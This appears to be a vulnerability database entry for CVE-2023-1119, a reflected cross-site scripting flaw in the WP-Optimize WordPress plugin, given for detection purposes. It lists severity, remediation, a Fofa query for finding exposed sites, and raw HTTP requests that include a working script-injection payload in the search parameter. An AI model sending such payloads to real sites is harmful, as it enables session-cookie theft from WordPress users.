🔙 목록으로 돌아가기

CVE-2023-1119: WP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting

TitleWP-Optimize WordPress plugin < 3.2.13 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactUnauthenticated attackers can inject malicious JavaScript through search parameters due to improper HTML character escaping in a third-party library, enabling theft of WordPress user session cookies.
RemediationUsers are recommended to upgrade WP-Optimize to version 3.2.13 and SrbTransLatin to version 2.4.1 to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.21072
CVE IDCVE-2023-1119
CWE IDCWE-79
Fofa Querybody="/wp-content/plugins/wp-optimize"
Tags cve cve2023 wp wp-plugin wordpress wp-optimize xss vkev vuln

🔍 Vulnerability Description

The WP-Optimize WordPress plugin before 3.2.13 and SrbTransLatin WordPress plugin before 2.4.1 are vulnerable to cross-site scripting due to a third-party library that improperly handles HTML character escaping.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Connection: close
Accept-Encoding: gzip
GET /?s=<%2Fscript><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1119.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-1119.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A